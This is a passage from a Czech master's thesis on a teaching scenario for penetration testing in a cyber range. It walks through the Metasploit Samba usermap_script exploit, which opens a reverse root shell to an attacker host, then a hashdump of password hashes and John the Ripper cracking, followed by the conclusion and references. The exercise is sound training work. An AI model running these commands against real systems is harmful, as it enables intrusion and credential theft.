Description ----------Samba "username map script" Command Execution
Dalším krokem je použití uvedeného modulu využívající „username map script“ pro vykonání pˇríkazu a vypsání informací, které musejí být nastaveny pˇred samotným spuštˇením exploitu: msf> use exploit/multi/samba/usermap_script msf exploit(usermap_script) > show options Name Current Setting Required Description ------------------ -------- ----------RHOST yes The target address RPORT 139 yes The target port
Pro spuštˇení samotného exploitu je nutné nastavit parametry, jenž urˇcují zdrojovou IP adresu, cílovou IP adresu a port nebo také payload: msf exploit(usermap_script) > payload => cmd/unix/reverse msf exploit(usermap_script) > RHOST => 10.10.1.2 msf exploit(usermap_script) > RPORT => 445 msf exploit(usermap_script) > LHOST => 10.10.1.4
set payload cmd/unix/reverse set RHOST 10.10.1.2 set RPORT 445 set LHOST 10.10.1.4
Po nastavení parametru˚ lze spustit exploit, který ustanoví spojení mezi webovým serverem a testovacím strojem za pˇredpokladu, že je vše správnˇe nastaveno: msf exploit(usermap_script) > exploit [*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo TkCPk2jlTMBaQ37j; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket A [*] A: "TkCPk2jlTMBaQ37j\r\n" [*] Matching... [*] B is input... [*] Command shell session 3 opened (10.10.1.4:4444 -> 10.10.1.2:60234) at 2014-05-01 09:38:59 +0200
Pˇríklad ukazuje jak jednoduché je získat oprávnˇení „root“ pro ovládnutí celého webového serveru. Oprávnˇení je možné zkontrolovat pomocí pˇríkazu whoami: whoami root
45
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
5.6.2 Získání hashe hesel Nyní již tester muže ˚ na vzdáleném serveru napˇríklad spouštˇet vlastní malware, mˇenit nastavení serveru, zanechat zadní vrátka v systému pro budoucí obejití autentizace pro pˇrístup k systému nebo získat hashe hesel, které jsou uloženy na webovém serveru. Pro získání kompletního pˇrehledu je na obrázku 5.14 znázornˇen postup opatˇrení hashe hesel: Pentest PC Kali
John the Ripper 6
Uložené soubory
Metasploit
Rozhraní
Msfconsole
5
1
2 4
Web server (zranitelný)
Moduly Exploit
Payload
3
Samba server
Uložené soubory
Obrázek 5.14: Získání a prolomení hashe hesel
1. 2. 3. 4. 5. 6.
Útoˇcník nejdˇríve naˇcte modul z databáze Metasploit. Nástroj po spuštˇení exploitu zašle kód na webový server díky spojení s ním. Modul získá hashe hesel. Hashe hesel jsou zaslány na stroj Kali. Na disk testujícího stroje jsou uloženy hashe hesel z webového serveru. Pomocí programu John the Ripper jsou hashe prolomeny.
Nejdˇríve je ale nutné ovˇerˇ it navázané spojení a jeho identifikaˇcní cˇ íslo pomocí pˇríkazu sessions -l: msf exploit(usermap_script) > sessions -l Active sessions Id Type Information Connection -- -------------- ---------3 shell unix 10.10.1.4:4444 -> 10.10.1.2:60234
Dalším krokem pro získání hashe hesel je použití pˇríslušného modulu Metasploit a jeho nastavení. Jediným nutným parametrem je zde identifikaˇcní cˇ íslo spojení: msf exploit(usermap_script) > use post/linux/gather/hashdump msf post(hashdump) > show options Module options (post/linux/gather/hashdump): Name Current Setting Required Description ------------------ -------- ----------SESSION 1 yes The session to run this module on. msf post(hashdump) > set SESSION 3 SESSION => 3
46
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
Následuje zkrácený výpis, ve kterém je uvedeno spuštˇení exploitu a získání textového souboru, jenž zahrnuje veškeré nalezené hashe hesel z webového serveru: msf post(hashdump) > exploit [+] root:$6$UioEt3yM$ES1tBfW.XXHW/rAM/YTBnI5HnETmLYHY10JtCk2PI8QEp/ doBR8jQR8Jw4eSaxowxtzRyGFQ24wPW8NDUcDAW1:0:0:root:/root:/bin/bash [+] Unshadowed Password File: /root/.msf4/loot/20140501_default_10.10.1.2_linux.hashes_836233.txt [*] Post module execution completed
5.6.3 Prolomení hashe hesel Posledním úkolem této varianty scénáˇre je získání hesel v textové podobˇe. Byl zvolen program John the Ripper vhodný pro prolomení slabých hesel, která byla zvolena pro rychlejší pˇredvedení a z duvodu ˚ jejich cˇ astého využívání na webových serverech. Následuje výpis získaných hesel (bez administrátorského hesla „root“). # /usr/sbin/john /root/.msf4/loot/20140501_default_10.10.1.2_linux.hashes_836233.txt Loaded 5 password hashes with 5 different salts (sha512crypt [64/64]) 123456 (user) q1w2e3 (serveradmin) samba (remoteuser) testpen (pentest)
5.7
Shrnutí a porovnání scénáˇru˚
Bˇehem realizace scénáˇre v Kybernetickém polygonu se podaˇrilo zprovoznit všechny zamýšlené služby a cˇ innosti. Vývoj scénáˇre byl do jisté míry ovlivnˇen aktuálním stavem prostˇredí, jenž se neustále vyvíjí. Obˇcas se stávalo, že nˇekterý ze stroju˚ pˇrestal reagovat, pokud byl pˇrístup uskuteˇcnˇen pomocí VNC, a proto musel být restartován. Bˇehem instalace jednotlivých služeb na zranitelný server byl stroj napaden díky doˇcasné aktivaci veˇrejné IP adresy a vytvoˇreným slabým heslum ˚ uživatelu, ˚ a proto musel být zranitelný server pˇreinstalován. Vytvoˇrený scénáˇr nabízí oproti obdobným rˇ ešením vyšší podporu, což znamená, že jednotlivé kroky cviˇcení jsou detailnˇe popsány a pravdˇepodobnost neúspˇechu testování je velmi malá. Tester má pˇríležitost dosáhnout výsledku vlastními znalostmi a zkušenostmi. Je mu pˇresto umožnˇeno využít nápovˇedy pˇripravené v materiálech pro cviˇcení, pokud si chce ovˇerˇ it správnost nebo je bezradný. Bˇehem zkoumání podobných scénáˇru˚ nebyl podrobný popis dostupný, protože cviˇcení byla vytváˇrena pro testery s vyššími odbornými znalostmi.
47
Kapitola 6
Závˇer Cílem diplomové práce bylo vytvoˇrit scénáˇr v prostˇredí Kybernetického polygonu pro výuku penetraˇcního testování na základˇe obdobných rˇ ešení bezpeˇcnostních scénáˇru. ˚ Tester po dokonˇcení cviˇcení získá základní pˇredstavu o problematice penetraˇcního testování a o zpusobu ˚ pˇredcházení eventuálním incidentum. ˚ Absolvování scénáˇre nauˇcí testera pracovat se speciálními nástroji nejˇcastˇeji využívanými bˇehem testování. Pro ulehˇcení výuky byl vytvoˇren doprovodný materiál usnadnující ˇ splnˇení jednotlivých úkolu˚ cviˇcení. Prvním úkolem bylo seznámit se s aktuálními bezpeˇcnostními hrozbami a analyzovat zranitelnosti pro získání povˇedomí o jejich odhalení pomocí penetraˇcních nástroju. ˚ Díky rozboru hrozeb a chyb systému˚ byly urˇceny klíˇcové typy zranitelností pro demonstraci ve scénáˇri penetraˇcního testování v Kybernetickém polygonu. Teoretická cˇ ást se též vˇenuje úvodu do technik penetraˇcního testování a popisu cˇ asto využívaných nástroju. ˚ Pˇred vlastní realizací výukového scénáˇre bylo nutné seznámit se s analogickými rˇ ešeními jiných bezpeˇcnostních školení. V rámci jednotlivých scénáˇru˚ bylo pˇredstaveno prostˇredí Kybernetického polygonu, dále pak jeho možnosti a omezení na konkrétním pˇrípadu. Následnˇe byly popsány scénáˇre zabývající se školením odborníku˚ v oblasti penetraˇcního testování a bezpeˇcnostní hry urˇcené pro výuku. Tvorba vlastního scénáˇre byla rozdˇelena do pˇeti základních okruhu˚ demonstrující princip penetraˇcního testování. Díky aktuálnímu stavu Kybernetického polygonu byla omezena názorná ukázka nˇekterých variant scénáˇre, jelikož není implementováno grafické prostˇredí. Tester proto musí prokázat schopnosti pˇri práci s programem cURL, což muže ˚ vést k vyšším nárokum ˚ a zárovenˇ i k lepšímu porozumˇení dané problematiky. Výukový scénáˇr lze v budoucnu rozšiˇrovat o další zranitelné služby pro ukázku jiných typu˚ zranitelností. Topologii by bylo vhodné doplnit o další stroj s operaˇcním systémem Windows pˇredstavující rozdílný pˇrístup útoˇcných technik. Dalším pˇrínosem bude zamýšlená implementace grafického rozhraní do Kybernetického polygonu.
48
Literatura [1] FALLIERE, Nicolas, Liam O. MURCHU a Eric CHIEN. W32. stuxnet dossier. White paper, Symantec Corp., Security Response. 2012 [cit. 2014-04-19]. Dostupné z: http://www.symantec.com/content/en/us/enterprise/media/ security_response/whitepapers/w32_stuxnet_dossier.pdf. [2] JIROVSKÝ, Václav. Kybernetická kriminalita. Grada Publishing as, 2007. ISBN 978-80247-1561-2. [3] O’GORMAN, Jim, Devon KEARNS a Mati AHARONI. Metasploit: the penetration tester’s guide. No Starch Press, 2011. ISBN 978-1-59327-288-3. [4] CHYTIL, Václav. Bezpeˇcnost dat v informatice (bezpeˇcné zpracování dat a bezpeˇcná komunikace prostˇredky výpoˇcetní techniky) [online]. Bakaláˇrská práce, Univerzita Tomáše Bati ve Zlínˇe, 2011 [cit. 2014-01-18]. Dostupné z: http://dspace.k.utb.cz/ bitstream/handle/10563/15600/chytil_2011_bp.pdf?sequence=1. [5] LAZAR, Lukáš. Využití exploitu˚ pro penetraˇcní testování [online]. Bakaláˇrská práce, Masarykova univerzita, Fakulta informatiky, 2006 [cit. 2014-02-09]. Dostupné z: http: //is.muni.cz/th/50838/fi_b/. ˇ ˇ [6] DOBŠÍCEK, Miroslav a Radim BALLNER. Linux: Bezpeˇcnost a Exploity. Kopp, Ceské ˇ 2004. ISBN 80–7232–243–5. Budˇejovice, CR, [7] HARPER, Allen, Shon HARRIS, Chris EAGLE, Jonathan NESS a Michael LESTER. Hacking-manuál hackera. Grada Publishing as, 2008. ISBN 978-80-247-1346-5. [8] SMITH, Andrew. Code Injection [online]. 2013 [cit. 2014-01-18]. Dostupné z: https: //www.owasp.org/index.php/Code_Injection. [9] ENISA. Enisa threat landscape: Responding to the evolving threat environment [online]. 2012 [cit. 2014-01-18]. Dostupné z: http://www.enisa.europa.eu/ activities/risk-management/evolving-threat-environment/ENISA_ Threat_Landscape/at_download/fullReport. [10] MITNICK, Kevin D. a William L. SIMON. The art of deception: Controlling the human element of security. John Wiley & Sons, 2001. ISBN 978-0-471-23712-9. ˇ [11] HONTANÓN, Ramón J. Linux-praktická bezpeˇcnost. Grada Publishing as, 2003. 80247-0652-0. [12] ŠIMON, Petr. Bezpeˇcnost na internetu [online]. Bakaláˇrská práce, Univerzita Tomáše Bati ve Zlínˇe, 2013 [cit. 2014-01-18]. Dostupné z: http: //dspace.k.utb.cz/bitstream/handle/10563/25116/%C5%A1imon%C3% ADk_2013_bp.pdf?sequence=1. [13] HOLUB, Petr. Jemný úvod do (anti)virové problematiky. Zpravodaj ÚVT MU. ISSN, pages 1212–0901, 2002. 49
ˇ 6. Z ÁV ER
[14] WATSON, David, Thorsten HOLZ a Sven MUELLER. Know your enemy: Phishing [online]. The Honeynet Project & Research Alliance. 2005 [cit. 2014-01-18]. Dostupné z: http://www.honeynet.org/papers/phishing/. [15] FILIP, Libor. Denial of service (dos), distributed dos (ddos) [online]. 2013 [cit. 2014-0201]. Dostupné z: http://www.adminxp.cz/security/. [16] LAU, Felix, Stuart H. RUBIN, Michael H. SMITH a Ljiljana TRAJKOVIC. Distributed denial of service attacks. In Systems, Man, and Cybernetics, 2000 IEEE International Conference on, volume 3, pages 2275–2280. IEEE, 2000. [17] FREI, Stefan, Dominik SCHATZMANN, Bernhard PLATTNER a Brian TRAMMEL. Modelling the security ecosystem - the dynamics of (in)security [online]. In Ross Anderson, editor, Workshop on the Economics of Information Security (WEIS), Cambridge, UK, June 2009. [cit. 2014-03-18]. Dostupné z: http://www.techzoom. net/publications/security-ecosystem/. [18] RAMOS, Maria. Common vulnerabilities and exposures: Introduction [online]. 2011 [cit. 2014-02-09]. Dostupné z: http://cve.mitre.org/about/faqs.html. [19] MELL, Peter, Karen SCARFONE a Sasha ROMANOSKY. A complete guide to the common vulnerability scoring system version 2.0. In Published by FIRST-Forum of Incident Response and Security Teams, pages 1–23. 2007 [cit. 2014-01-30]. Dostupné z: http://www.first.org/cvss/cvss-guide.pdf. [20] PADRTA, Aleš. Vulnerabilities–zranitelnosti. Sborník pˇríspˇevku, ˚ page 73. 2009 [cit. 2014-01-27]. Dostupné z: http://www.europen.cz/Anot/34/HLAVNI.pdf. [21] BERTINO, Elisa, Lorenzo D. MARTINO, Federica PACI, Anna C. SQUICCIARINI. Web services threats, vulnerabilities, and countermeasures. In Security for Web Services and Service-Oriented Architectures, pages 25–44. Springer, 2010. [22] MASSICOTTE, Frédéric, Mathieu COUTURE, Yvan LABICHE a Lionel BRIAND. Context-based intrusion detection using snort, nessus and bugtraq databases. PST. 2005 [cit. 2014-02-07]. Dostupné z: http://cg.scs.carleton.ca/~mathieu/ FMassicote_PSTFredericton2005.pdf. [23] SECURITYFOCUS. Securityfocus: About [online]. 2006 [cit. 2014-03-07]. Dostupné z: http://www.securityfocus.com/about. [24] BERTINO, Elisa, Lorenzo D. MARTINO, Federica PACI, Anna C. SQUICCIARINI. Security for web services and service-oriented architectures. Springer, 2010. ISBN 9783-540-87741-7. [25] BERAN, Radek. Penetration testing as active security check on. Journal of Technology and Information Education, 2012. [26] MALINA, Richard. Tajemství penetraˇcních testu˚ [online]. 2004 [cit. 2014-02-09]. Dostupné z: http://www.nextsoft.cz/~malina/cs/articles.htm. [27] WEBBER, Filip. Penetraˇcní testy v bezpeˇcnostní analýze informaˇcního systému [online]. 2007 [cit. 2014-02-07]. Dostupné z: http://www.svetsiti.cz/hledej.asp. [28] SELECKÝ, Matúš. Penetraˇcní testy a exploitace. Computer Press, 2012. ISBN 978-80251-3752-9. 50
ˇ 6. Z ÁV ER
[29] OREBAUGH, Angela, Gilbert RAMIREZ a Jay BEALE. Wireshark & Ethereal network protocol analyzer toolkit. Syngress, Rockland, MA, 2006. ISBN 978-159-7490-733. [30] ARKIN, Ofir. Network scanning techniques – understanding how it is done. Publicom Communications Solutions. 1999 [cit. 2014-02-22]. Dostupné z: http://www.pc-freak.net/sploits/info/arkin%20network% 20scanning%20techniques.pdf. [31] LYON, Gordon F. Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning. Insecure, 2009. ISBN 978-0-9799587-1-7. [32] MESSER, James. Secrets of Network Cartography: A comprehensive guide to nmap. Professor Messer, 2007. ISBN B002ACY22I. [33] Openvas - about openvas software [online]. 2014 [cit. 2014-03-18]. Dostupné z: http: //www.openvas.org/about.html. [34] CAREY, Mark, Russ ROGERS, Paul CRISCUOLO a Mike PETRUZZI. Nessus network auditing. Syngress, Burlington, MA, 2008. ISBN 978-159-7492-089. [35] VACHEK, Pavel. Openvas [online]. 2009 [cit. 2014-03-18]. Dostupné z: http:// archiv.cesnet.cz/akce/2009/zazemi-pro-cert-csirt/p/openvas.pdf. [36] SINGH, Abhinav. Metasploit Penetration Testing Cookbook. Packt Publishing Ltd, 2012. ISBN 978-1-84951-742-3. [37] ZITTA, Stanislav. Penetraˇcní testování [online]. Diplomová práce, Univerzita Pardubice, 2013 [cit. 2014-02-13]. Dostupné z: http://dspace.upce.cz/handle/ 10195/51826. [38] PRITCHETT, Willie L. a David DE SMET. Kali Linux Cookbook. Packt Publishing Ltd, 2013. ISBN 978-178-3289-592. [39] MUNIZ, Joseph. Web Penetration Testing with Kali Linux. Packt Publishing Ltd, 2013. ISBN 978-1-78216-316-9. [40] FELKNER, Anna, Tomasz GRUDZICKI, Przemysław JAROSZEWSKI, Piotr KI˙ JEWSKI, Mirosław MAJ, Marcin MIELNICZEK, Elzbieta NOWICKA, Cezary RZEWUSKI, Krzysztof SILICKI a Rafał TARŁOWSKI. CERT Exercises Handbook: Document for teachers [online]. 2012. [cit. 2014-03-20]. Dostupné z: http://www.enisa.europa.eu/activities/cert/support/exercise/ files/CERTExerciseHandbook2012.pdf. [41] Learn web penetration testing: The right way [online]. 2014 [cit. 2014-02-25]. Dostupné z: https://www.pentesterlab.com/. [42] NATO COOPERATIVE CYBER DEFENCE CENTRE OF EXCELLENCE. Cyber defence exercise locked shields 2013: After action report [online]. 2013. [cit. 2014-0119]. Dostupné z: http://www.ccdcoe.org/publications/LockedShields13_ AAR.pdf. [43] Netwars brochure [online]. 2014 [cit. 2014-02-11]. Dostupné z: http://www.sans. org/media/netwars/brochure-netwars-2013.pdf. [44] About sans [online]. 2014 [cit. 2014-02-11]. Dostupné z: http://www.sans.org/ about/. 51
ˇ 6. Z ÁV ER
[45] About ruxcon [online]. 2014 [cit. 2014-02-13]. Dostupné z: http://ruxcon.org.au/. [46] Main sequence: Ruxcon 2012 capture the flag [online]. 2014 [cit. 2014-02-13]. Dostupné z: http://www.exploit-exercises.com/mainsequence. ˇ [47] CELEDA Pavel, Petr VELAN, Tomáš JIRSÍK, Jan VYKOPAL, Martin DRAŠAR, Martin ˇ VIZVÁRY, Jakub CEGAN, Michal PROCHÁZKA, Tomáš REBOK, Radek OŠLEJŠEK, Zdenek EICHLER a Dalibor TOTH. Analýza a návrh architektury. Technická zpráva. Ústav výpoˇcetní techniky, Masarykova univerzita. 2013. [48] OŠLEJŠEK, Radek. Cybernetic proving ground - cloud-based environment for simulation of cyber attacks. 2013 [cit. 2014-01-20]. Dostupné z: http://is.muni.cz/ repo/1130154/vienna-ict.pdf. [49] NIST. Vulnerability summary for cve-2008-5161 [online]. National Vulnerability Database, 19. listopadu 2008. [cit. 2014-04-19]. Dostupné z: http://nvd.nist.gov/ view/vuln/detail?vulnId=CVE-2008-5161. ˇ [50] CIŽMAR, Lukáš. Sql injection (full paper) [online]. 2009 [cit. 2014-03-09]. Dostupné z: http://www.security-portal.cz/clanky/sql-injection-full-paper. [51] FRIEDL, Stephen J. Sql injection attacks by example [online]. 2009 [cit. 2014-03-20]. Dostupné z: http://www.unixwiz.net/techtips/sql-injection.html. [52] ANLEY, Chris. Advanced sql injection in sql server applications. 2002 [cit. 2014-04-05]. Dostupné z: http://ebooks.shahed.biz/HACK/SQL%20INJECTION/Hacking% 20-%20Advanced%20SQL%20Injection.pdf. [53] RICK, Mischel. Testing for sql injection [online]. 2014 [cit. 2014-03-20]. Dostupné z: https://www.owasp.org/index.php/Testing_for_SQL_Injection_ (OWASP-DV-005). [54] BERNARDO, Damele A. G. a Miroslav STAMPAR. Sqlmap: Automatic sql injection and database takeover tool [online]. 2014 [cit. 2014-03-04]. Dostupné z: http://sqlmap. org/. [55] KÜMMEL, Roman. Cross-Site Scripting v praxi. Tigris spol. s r o., Zlín, 2011. ISBN 978-80-86062-34-1. [56] MILOŠOVÁ, Iva. Útoky typu cross-site scripting [online]. Bakaláˇrská práce, Masarykova univerzita, Fakulta informatiky, 2013 [cit. 2014-04-09]. Dostupné z: http: //is.muni.cz/th/348294/fi_b/bakalarska_prace_348294.pdf. [57] CHORVÁT, Oliver. Útoky typu cross-site scripting [online]. Bakaláˇrská práce, Masarykova univerzita, Fakulta informatiky, 2010 [cit. 2014-04-15]. Dostupné z: http: //is.muni.cz/th/256354/fi_b/bakalarska_praca_t06iv.pdf. [58] NIST. Vulnerability summary for cve-2012-1823 [online]. National Vulnerability Database, 5. listopadu 2012. [cit. 2014-04-25]. Dostupné z: nvd.nist.gov/view/vuln/ detail?vulnId=CVE-2012-1823. [59] GURJAR, Chintan. Manual web application penetration testing: Introduction [online]. 2014 [cit. 2014-05-10]. Dostupné z: http://resources.infosecinstitute.com/ manual-web-application-penetration-testing-introduction/. 52
ˇ 6. Z ÁV ER
[60] NIST. Vulnerability summary for cve-2007-2447 [online]. National Vulnerability Database, 14. kvˇetna 2007. [cit. 2014-04-25]. Dostupné z: nvd.nist.gov/view/vuln/ detail?vulnId=CVE-2007-2447.
53
Pˇríloha A
Obsah pˇriloženého CD Pˇriložený disk obsahuje adresáˇrovou strukturu, jež je popsána níže: •
Text diplomové práce ve formátu PDF /thesis.pdf
•
Soubory diplomové práce pro sázecí systém LaTeX vˇcetnˇe obrázku˚ a skriptu urˇceného k pˇrekladu zdrojového kódu práce /thesis/
•
Materiály pro cviˇcení ve formátu PDF /materialy.pdf
•
Soubory podpurného ˚ materiálu pro cviˇcení k sázecímu systému LaTeX /materialy/
•
Zdrojové kódy webových stránek pro ilustraci zranitelností /zdrojove_kody_stranek/
•
Konfiguraˇcní soubory pro instalaci zranitelného webového serveru /konfiguracni_soubory/
•
Manuál pro instalaci zranitelného webového serveru a stroje Kali /instalace_stroju/
54